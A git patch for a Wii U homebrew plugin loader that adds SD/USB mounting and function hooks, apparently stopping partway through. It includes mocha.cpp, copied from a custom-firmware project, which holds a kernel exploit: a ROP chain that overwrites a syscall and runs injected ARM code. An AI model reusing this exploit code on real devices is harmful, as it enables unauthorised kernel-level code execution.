From dc8a9a81fcdd06ab21864027581ddb2388c5d028 Mon Sep 17 00:00:00 2001 From: Maschell Date: Wed, 14 Feb 2018 19:46:14 +0100 Subject: [PATCH] [Loader] Added mocha and device mounting. - Now patching two more function which could be used as hooks (PPCExit and ProcUIProcessMessages) --- .gitmodules | 4 + loader/Makefile | 45 ++- loader/src/common/common.h | 8 + loader/src/common/retain_vars.cpp | 5 + loader/src/common/retain_vars.h | 4 + loader/src/main.cpp | 119 ++++++- loader/src/main.h | 6 + loader/src/mocha | 1 + loader/src/myutils/libfat.cpp | 20 ++ loader/src/myutils/libfat.h | 15 + loader/src/myutils/libntfs.cpp | 39 +++ loader/src/myutils/libntfs.h | 7 + loader/src/myutils/mocha.cpp | 433 ++++++++++++++++++++++++++ loader/src/myutils/mocha.h | 16 + loader/src/patcher/function_patcher.h | 10 +- loader/src/patcher/hooks_patcher.cpp | 34 ++ loader/src/patcher/hooks_patcher.h | 18 ++ 17 files changed, 759 insertions(+), 25 deletions(-) create mode 100644 .gitmodules create mode 160000 loader/src/mocha create mode 100644 loader/src/myutils/libfat.cpp create mode 100644 loader/src/myutils/libfat.h create mode 100644 loader/src/myutils/libntfs.cpp create mode 100644 loader/src/myutils/libntfs.h create mode 100644 loader/src/myutils/mocha.cpp create mode 100644 loader/src/myutils/mocha.h create mode 100644 loader/src/patcher/hooks_patcher.cpp create mode 100644 loader/src/patcher/hooks_patcher.h diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..aea50d4 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,4 @@ +[submodule "loader/src/mocha"] + path = loader/src/mocha + url = https://github.com/Maschell/mocha + branch = sd_access \ No newline at end of file diff --git a/loader/Makefile b/loader/Makefile index b999e6d..4c95c55 100644 --- a/loader/Makefile +++ b/loader/Makefile @@ -36,9 +36,10 @@ BUILD_DBG := $(TARGET)_dbg SOURCES := src/libelf \ SOURCES := src/patcher \ src/common \ + src/myutils \ src/ - -DATA := + +DATA := INCLUDES := src/libelf \ src/ @@ -50,12 +51,12 @@ CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ -O0 -D__wiiu__ -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ -O0 -D__wiiu__ -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing -D_GNU_SOURCE $(INCLUDE) - + ifeq ($(DO_LOGGING), 1) CFLAGS += -D__LOGGING__ CXXFLAGS += -D__LOGGING__ -endif - +endif + ASFLAGS := -mregnames LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections @@ -65,7 +66,7 @@ MAKEFLAGS += --no-print-directory #--------------------------------------------------------------------------------- # any extra libraries we wish to link with the project #--------------------------------------------------------------------------------- -LIBS := -lm -lgcc -lutils -ldynamiclibs +LIBS := -lm -lgcc -lfat -lntfs -liosuhax -lutils -ldynamiclibs #--------------------------------------------------------------------------------- # list of directories containing libraries, this must be the top level containing @@ -119,8 +120,8 @@ export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ -I$(PORTLIBS)/include -I$(CURDIR)/$(BUILD) \ - -I$(PORTLIBS)/include/libutils - + -I$(PORTLIBS)/include/libutils + #--------------------------------------------------------------------------------- # build a list of library paths @@ -132,14 +133,38 @@ export OUTPUT := $(CURDIR)/$(TARGET) .PHONY: $(BUILD) clean install #--------------------------------------------------------------------------------- -$(BUILD): +$(BUILD): $(CURDIR)/src/mocha/ios_kernel/ios_kernel.bin.h @[ -d $@ ] || mkdir -p $@ @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - + +$(CURDIR)/src/mocha/ios_kernel/ios_kernel.bin.h: $(CURDIR)/src/mocha/ios_usb/ios_usb.bin.h $(CURDIR)/src/mocha/ios_mcp/ios_mcp.bin.h $(CURDIR)/src/mocha/ios_fs/ios_fs.bin.h $(CURDIR)/src/mocha/ios_bsp/ios_bsp.bin.h $(CURDIR)/src/mocha/ios_acp/ios_acp.bin.h + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_kernel -f $(CURDIR)/src/mocha/ios_kernel/Makefile + +$(CURDIR)/src/mocha/ios_usb/ios_usb.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_usb -f $(CURDIR)/src/mocha/ios_usb/Makefile + +$(CURDIR)/src/mocha/ios_fs/ios_fs.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_fs -f $(CURDIR)/src/mocha/ios_fs/Makefile + +$(CURDIR)/src/mocha/ios_bsp/ios_bsp.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_bsp -f $(CURDIR)/src/mocha/ios_bsp/Makefile + +$(CURDIR)/src/mocha/ios_mcp/ios_mcp.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_mcp -f $(CURDIR)/src/mocha/ios_mcp/Makefile + +$(CURDIR)/src/mocha/ios_acp/ios_acp.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_acp -f $(CURDIR)/src/mocha/ios_acp/Makefile + #--------------------------------------------------------------------------------- clean: @echo clean ... @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_kernel -f $(CURDIR)/src/mocha/ios_kernel/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_usb -f $(CURDIR)/src/mocha/ios_usb/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_fs -f $(CURDIR)/src/mocha/ios_fs/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_bsp -f $(CURDIR)/src/mocha/ios_bsp/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_mcp -f $(CURDIR)/src/mocha/ios_mcp/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_acp -f $(CURDIR)/src/mocha/ios_acp/Makefile clean #--------------------------------------------------------------------------------- else diff --git a/loader/src/common/common.h b/loader/src/common/common.h index d187f55..7d145fc 100644 --- a/loader/src/common/common.h +++ b/loader/src/common/common.h @@ -19,6 +19,14 @@ extern "C" { #define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) #define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) +#define SDUSB_MOUNTED_NONE 0 +#define SDUSB_MOUNTED_FAKE (1<<0) +#define SDUSB_MOUNTED_OS_SD (1<<1) +#define SDUSB_LIBIOSU_LOADED (1<<2) +#define SD_MOUNTED_LIBFAT (1<<3) +#define USB_MOUNTED_LIBFAT (1<<4) +#define USB_MOUNTED_LIBNTFS (1<<5) + #ifndef EXIT_SUCCESS #define EXIT_SUCCESS 0 #endif diff --git a/loader/src/common/retain_vars.cpp b/loader/src/common/retain_vars.cpp index 39ac974..0c38ac8 100644 --- a/loader/src/common/retain_vars.cpp +++ b/loader/src/common/retain_vars.cpp @@ -1,2 +1,7 @@ #include "retain_vars.h" replacement_data_t gbl_replacement_data __attribute__((section(".data"))); +u8 gAppStatus __attribute__((section(".data"))) = 0; +volatile u8 gSDInitDone __attribute__((section(".data"))) = 0; + +void * ntfs_mounts __attribute__((section(".data"))) = NULL; +int ntfs_mount_count __attribute__((section(".data"))) = 0; diff --git a/loader/src/common/retain_vars.h b/loader/src/common/retain_vars.h index 5a44443..0a442d8 100644 --- a/loader/src/common/retain_vars.h +++ b/loader/src/common/retain_vars.h @@ -3,6 +3,10 @@ #include "patcher/function_patcher.h" extern replacement_data_t gbl_replacement_data; +extern u8 gAppStatus; +extern volatile u8 gSDInitDone; +extern void * ntfs_mounts; +extern int ntfs_mount_count; #endif // RETAINS_VARS_H_ diff --git a/loader/src/main.cpp b/loader/src/main.cpp index 389834a..8b2ed96 100644 --- a/loader/src/main.cpp +++ b/loader/src/main.cpp @@ -4,6 +4,9 @@ #include #include #include +#include +#include + #include #include @@ -15,16 +18,26 @@ #include #include #include + #include "common/retain_vars.h" #include "common/common.h" #include "ModuleData.h" -#include +#include + +#include +#include +#include +#include -#include "version.h" #include "main.h" #include "utils.h" #include "patcher/function_patcher.h" +#include "patcher/hooks_patcher.h" +#include "myutils/mocha.h" +#include "myutils/libntfs.h" +#include "myutils/libfat.h" +#include "version.h" static bool loadSamplePlugins(); static void ApplyPatches(); @@ -39,6 +52,10 @@ u8 isFirstBoot __attribute__((section(".data"))) = 1; /* Entry point */ extern "C" int Menu_Main(int argc, char **argv){ + if(gAppStatus == 2){ + //"No, we don't want to patch stuff again."); + return EXIT_RELAUNCH_ON_LOAD; + } InitOSFunctionPointers(); InitSocketFunctionPointers(); //For logging InitSysFunctionPointers(); @@ -50,6 +67,9 @@ extern "C" int Menu_Main(int argc, char **argv){ setup_os_exceptions(); + DEBUG_FUNCTION_LINE("Mount SD partition\n"); + Init_SD_USB(); + if(isFirstBoot){ memset((void*)&gbl_replacement_data,0,sizeof(gbl_replacement_data)); if(!loadSamplePlugins()){ @@ -61,6 +81,7 @@ extern "C" int Menu_Main(int argc, char **argv){ if(!isFirstBoot && isInMiiMakerHBL()){ DEBUG_FUNCTION_LINE("Returing to the Homebrew Launcher!\n"); isFirstBoot = 0; + DeInit(); RestorePatches(); return EXIT_SUCCESS; } else { @@ -83,12 +104,14 @@ extern "C" int Menu_Main(int argc, char **argv){ DEBUG_FUNCTION_LINE("Application is ending now.\n"); + DeInit(); RestorePatches(); return EXIT_SUCCESS; } void ApplyPatches(){ + PatchInvidualMethodHooks(method_hooks_hooks, method_hooks_size_hooks, method_calls_hooks); for(int module_index=0;module_index=0;module_index--){ DEBUG_FUNCTION_LINE("Restoring function for module: %d\n",module_index); new_RestoreInvidualInstructions(&gbl_replacement_data.module_data[module_index]); } + RestoreInvidualInstructions(method_hooks_hooks, method_hooks_size_hooks); } s32 isInMiiMakerHBL(){ @@ -139,11 +167,8 @@ s32 isInMiiMakerHBL(){ #define PLUGIN_LOCATION_END_ADDRESS 0x01000000 bool loadSamplePlugins(){ - DEBUG_FUNCTION_LINE("Mount SD partition\n"); - - int res = 0; - if((res = mount_sd_fat("sd")) >= 0){ - DEBUG_FUNCTION_LINE("Mounting successful\n"); + if((gSDInitDone & (SDUSB_MOUNTED_OS_SD | SD_MOUNTED_LIBFAT)) > 0){ + DEBUG_FUNCTION_LINE("Mounting successful. Loading modules\n"); std::vector modules; @@ -177,7 +202,7 @@ bool loadSamplePlugins(){ // TODO: keep it mounted for the plugins. But this would require sharing the read/write/open etc. functions from this loader. // Idea: Giving the init hook the pointers. Hiding the __wrap function of the plugin behind the INITIALIZE macro. // Needs to be tested if this is working. This would have the advantage of adopting all right/accesses from the loader (libfat, libntfs, iosuhax etc.) - unmount_sd_fat("sd"); + //unmount_sd_fat("sd"); } return true; } @@ -254,3 +279,81 @@ static void loadElf(std::vector* modules, const char * elfPath, ui DEBUG_FUNCTION_LINE("%s loading failed. \n", elfPath); } } + +void Init_SD_USB() { + int res = IOSUHAX_Open(NULL); + if(res < 0){ + ExecuteIOSExploitWithDefaultConfig(); + } + deleteDevTabsNames(); + mount_fake(); + gSDInitDone |= SDUSB_MOUNTED_FAKE; + + if(res < 0){ + DEBUG_FUNCTION_LINE("IOSUHAX_open failed\n"); + if((res = mount_sd_fat("sd")) >= 0){ + DEBUG_FUNCTION_LINE("mount_sd_fat success\n"); + gSDInitDone |= SDUSB_MOUNTED_OS_SD; + }else{ + DEBUG_FUNCTION_LINE("mount_sd_fat failed %d\n",res); + } + }else{ + DEBUG_FUNCTION_LINE("Using IOSUHAX for SD/USB access\n"); + gSDInitDone |= SDUSB_LIBIOSU_LOADED; + int ntfs_mounts = mountAllNTFS(); + if(ntfs_mounts > 0){ + gSDInitDone |= USB_MOUNTED_LIBNTFS; + } + + if(mount_libfatAll() == 0){ + gSDInitDone |= SD_MOUNTED_LIBFAT; + gSDInitDone |= USB_MOUNTED_LIBFAT; + } + } + DEBUG_FUNCTION_LINE("%08X\n",gSDInitDone); +} + +void DeInit_SD_USB(){ + DEBUG_FUNCTION_LINE("Called this function.\n"); + + if(gSDInitDone & SDUSB_MOUNTED_FAKE){ + DEBUG_FUNCTION_LINE("Unmounting fake\n"); + unmount_fake(); + gSDInitDone &= ~SDUSB_MOUNTED_FAKE; + } + if(gSDInitDone & SDUSB_MOUNTED_OS_SD){ + DEBUG_FUNCTION_LINE("Unmounting OS SD\n"); + unmount_sd_fat("sd"); + gSDInitDone &= ~SDUSB_MOUNTED_OS_SD; + } + + if(gSDInitDone & SD_MOUNTED_LIBFAT){ + DEBUG_FUNCTION_LINE("Unmounting LIBFAT SD\n"); + unmount_libfat("sd"); + gSDInitDone &= ~SD_MOUNTED_LIBFAT; + } + + if(gSDInitDone & USB_MOUNTED_LIBFAT){ + DEBUG_FUNCTION_LINE("Unmounting LIBFAT USB\n"); + unmount_libfat("usb"); + gSDInitDone &= ~USB_MOUNTED_LIBFAT; + } + + if(gSDInitDone & USB_MOUNTED_LIBNTFS){ + DEBUG_FUNCTION_LINE("Unmounting LIBNTFS USB\n"); + unmountAllNTFS(); + gSDInitDone &= ~USB_MOUNTED_LIBNTFS; + } + + if(gSDInitDone & SDUSB_LIBIOSU_LOADED){ + DEBUG_FUNCTION_LINE("Calling IOSUHAX_Close\n"); + IOSUHAX_Close(); + gSDInitDone &= ~SDUSB_LIBIOSU_LOADED; + + } + deleteDevTabsNames(); + if(gSDInitDone != SDUSB_MOUNTED_NONE){ + DEBUG_FUNCTION_LINE("WARNING. Some devices are still mounted.\n"); + } + DEBUG_FUNCTION_LINE("Function end.\n"); +} diff --git a/loader/src/main.h b/loader/src/main.h index 4c6daf0..35e6d9a 100644 --- a/loader/src/main.h +++ b/loader/src/main.h @@ -31,6 +31,12 @@ extern "C" { //! C wrapper for our C++ functions int Menu_Main(int argc, char **argv); +void Init_SD_USB(); + +void DeInit_SD_USB(); + +void DeInit(); + #ifdef __cplusplus } #endif diff --git a/loader/src/mocha b/loader/src/mocha new file mode 160000 index 0000000..74f723e --- /dev/null +++ b/loader/src/mocha @@ -0,0 +1 @@ +Subproject commit 74f723e2ab5c77e6f79da2816114627a46ee9f2f diff --git a/loader/src/myutils/libfat.cpp b/loader/src/myutils/libfat.cpp new file mode 100644 index 0000000..e390eb2 --- /dev/null +++ b/loader/src/myutils/libfat.cpp @@ -0,0 +1,20 @@ +#include +#include "libfat.h" +#include +#include +#include "common/retain_vars.h" + +int mount_libfatAll(){ + int res = -1; + if((res = fatInitDefault()) >= 0){ + DEBUG_FUNCTION_LINE("fatInitDefault success\n"); + return 0; + }else{ + DEBUG_FUNCTION_LINE("fatInitDefault failed %d\n",res); + } + return -1; +} + +void unmount_libfat(const char * path){ + fatUnmount(path); +} diff --git a/loader/src/myutils/libfat.h b/loader/src/myutils/libfat.h new file mode 100644 index 0000000..3a66ed6 --- /dev/null +++ b/loader/src/myutils/libfat.h @@ -0,0 +1,15 @@ +#ifndef __LIBFAT_MOUNT_H_ +#define __LIBFAT_MOUNT_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int mount_libfatAll(); +void unmount_libfat(const char * path); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/loader/src/myutils/libntfs.cpp b/loader/src/myutils/libntfs.cpp new file mode 100644 index 0000000..e57c4f9 --- /dev/null +++ b/loader/src/myutils/libntfs.cpp @@ -0,0 +1,39 @@ +#include +#include +#include +#include +#include "libntfs.h" +#include +#include +#include "common/retain_vars.h" + +int mountAllNTFS(){ + int i; + // Mount all NTFS volumes on all inserted block devices + ntfs_mount_count = ntfsMountAll((ntfs_md **) &ntfs_mounts, NTFS_DEFAULT | NTFS_RECOVER); + if (ntfs_mount_count == -1){ + DEBUG_FUNCTION_LINE("Error whilst mounting devices.\n"); + }else if (ntfs_mount_count == 0){ + DEBUG_FUNCTION_LINE("No NTFS volumes were found and/or mounted.\n"); + }else{ + DEBUG_FUNCTION_LINE("%i NTFS volumes(s) mounted!\n", ntfs_mount_count); + } + // List all mounted NTFS volumes + for (i = 0; i < ntfs_mount_count; i++){ + DEBUG_FUNCTION_LINE("%i - %s:/ (%s)\n", i + 1, ((ntfs_md *)ntfs_mounts)[i].name, ntfsGetVolumeName(((ntfs_md *)ntfs_mounts)[i].name)); + } + return ntfs_mount_count; +} + +int unmountAllNTFS(void){ + if (ntfs_mounts) { + int i = 0; + for (i = 0; i < ntfs_mount_count; i++){ + ntfsUnmount(((ntfs_md *)ntfs_mounts)[i].name, true); + } + free(ntfs_mounts); + ntfs_mounts = NULL; + ntfs_mount_count = 0; + } + return 0; +} diff --git a/loader/src/myutils/libntfs.h b/loader/src/myutils/libntfs.h new file mode 100644 index 0000000..9271e95 --- /dev/null +++ b/loader/src/myutils/libntfs.h @@ -0,0 +1,7 @@ +#ifndef __LIBNTFS_MOUNT_H_ +#define __LIBNTFS_MOUNT_H_ + +int mountAllNTFS(void); +int unmountAllNTFS(); + +#endif diff --git a/loader/src/myutils/mocha.cpp b/loader/src/myutils/mocha.cpp new file mode 100644 index 0000000..2401966 --- /dev/null +++ b/loader/src/myutils/mocha.cpp @@ -0,0 +1,433 @@ +/** +Copy pasted from MOCHA! +https://raw.githubusercontent.com/dimok789/mocha/ +**/ + +#include +#include +#include +#include +#include "mocha.h" + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE (0x120000) +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08135000 +#define REPLACE_SYSCALL 0x081298BC + +//extern const u8 launch_image_tga[]; +//extern const u32 launch_image_tga_size; + +static void uhs_exploit_init(int uhs_handle, cfw_config_t * config); +static int uhs_write32(int uhs_handle, int arm_addr, int val); + +//!------Variables used in exploit------ +static int *pretend_root_hub = (int*)0xF5003ABC; +static int *ayylmao = (int*)0xF4500000; +//!------------------------------------- + +typedef struct +{ + u32 size; + u8 data[0]; +} payload_info_t; + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "../mocha/ios_kernel/ios_kernel.bin.h" +#include "../mocha/ios_usb/ios_usb.bin.h" +#include "../mocha/ios_fs/ios_fs.bin.h" +#include "../mocha/ios_bsp/ios_bsp.bin.h" +#include "../mocha/ios_mcp/ios_mcp.bin.h" +#include "../mocha/ios_acp/ios_acp.bin.h" + + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const unsigned int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(ios_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x00140000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 